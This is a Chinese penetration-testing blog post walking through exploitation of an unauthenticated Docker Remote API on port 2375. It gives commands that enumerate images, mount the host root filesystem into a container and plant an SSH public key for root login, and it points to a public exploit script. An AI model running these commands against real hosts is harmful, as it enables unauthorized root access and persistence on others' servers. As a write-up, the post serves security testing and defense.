渗透实战-DockerAPI未授权漏洞

  • A+
所属分类:安全文章

0x00    Preface[前言/简介]

渗透实战-DockerAPI未授权漏洞

前段时间看到有文章分享docker逃逸,作为从小动手能力比嘴还强的我来说,遇到这种好玩的事情,岂能错过这一次的分享,必须想办法在实战中复现一波。然而,这世界从来不会因为我的善良,就善待的让我一发入魂,于是就有了本篇文章。


0x01    Docker API未授权

1、利用dockerAPI查看版本信息

http://IP:2375/version

渗透实战-DockerAPI未授权漏洞


2、利用dockerAPI查看所有镜像

http://IP:2375/images/json

渗透实战-DockerAPI未授权漏洞


3、漏洞手动利用-挂载容器写SSH公钥

在kali上安装docker环境

kapt-get install docker docker-compose #安装docker环境

service docker start #启动docker

渗透实战-DockerAPI未授权漏洞


docker命令行检测容器镜像

Docker -H tcp://IP:2375 images

渗透实战-DockerAPI未授权漏洞


docker命令行启动容器镜像

Docker -H tcp://IP:2375 run -it -v /:/mnt b752208df2c7 /bin/bash

渗透实战-DockerAPI未授权漏洞


在本地生成一个公钥

ssh-keygen -t rsa -C "windows"

渗透实战-DockerAPI未授权漏洞

将本地的公钥复制到目标服务器中

echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+02FAmxoTZLcDMVG15ene31sYNnls4eBScwesVXPbdWFfcFnZBhndDY6vOl0ASkf0m/XPKqgw6O3aevkkGpfguvb0D29EJ/6GDMj41/nwuZOzztHPqLaxXt28JzOOxYBbICB8lJ8ZO+CJJMSQTAHQFbQAEX1T+VQo7WBqrB9nzCijyNjaffMiCFoISYCWlUvYoyz1Pz5PB80wvol6APaLvjCcs3t2rGaPlSPr3Znf01o0diLGoMARSpgRwC7NKasdF5BISlYWizdO9vaEYqbBeUfd1JxlPKAyt3ZdBNA8ZSY+776oYsSl39PdBPzPS0cDA+Lo7IkfkxsUGeV8JKTwt7dLgfNFe6bG9iSau21GjB84tgnr605lVYI8BW1BCT1dn24IcHYvc4KQl2G94+TV5PiHteInYrO1eROlMMtcC8OsH5fgx4ibsZle5v/yNwTNyv47W9Malc8xTMMZPrk/UTnUh4KfMLw6VOYKHl9MO/TcZ1vQYhueloHwheyFNP8= windows > authorized_keys

渗透实战-DockerAPI未授权漏洞


使用ssh直接成功连接

渗透实战-DockerAPI未授权漏洞


4、漏洞自动化利用

利用脚本下载地址,检测当前运行的容器

python2 dockerRemoteApiGetRootShell.py -h 1.1.1.1 -p 2375

#本步骤可忽略

渗透实战-DockerAPI未授权漏洞


检测所有可运行的镜像

python2 dockerRemoteApiGetRootShell.py -h 1.1.1.1 -p 2375 -l

渗透实战-DockerAPI未授权漏洞


运行指定镜像并写入SSH公钥

python2 dockerRemoteApiGetRootShell.py -h 1.1.1.1 -p 2375 -C -i redis -k

#redis为上一步骤中从所有镜像中随机抽取的镜像地址

渗透实战-DockerAPI未授权漏洞


删除已运行的容器

python2 dockerRemoteApiGetRootShell.py -h 1.1.1.1 -p 2375 -c -I xxxxxxxxx

# xxxxxxxxx为上一步骤中显示的Container ID

渗透实战-DockerAPI未授权漏洞


0x02    summary 总结

渗透实战-DockerAPI未授权漏洞

虽然本次事与愿违,但是起码来说,在甲方爸爸那不至于无法交差。本以为比较顺利的,没想到还是会遇到坑,如原版本有点小bug,没得说,酒零改了一下。

winezer0/dockerRemoteApiGetRootShell-fix: docker 未授权访问漏洞利用脚本-FIX

https://github.com/winezer0/dockerRemoteApiGetRootShell-fix


0x03    结束语

感谢大哥们的对NOVASEC的支持点赞和关注,加入我们与萌新一起成长吧。

如有任何问题、建议、投稿请加NOVASEC-MOYU,以方便及时回复。

渗透实战-DockerAPI未授权漏洞

本文始发于微信公众号(NOVASEC):渗透实战-DockerAPI未授权漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: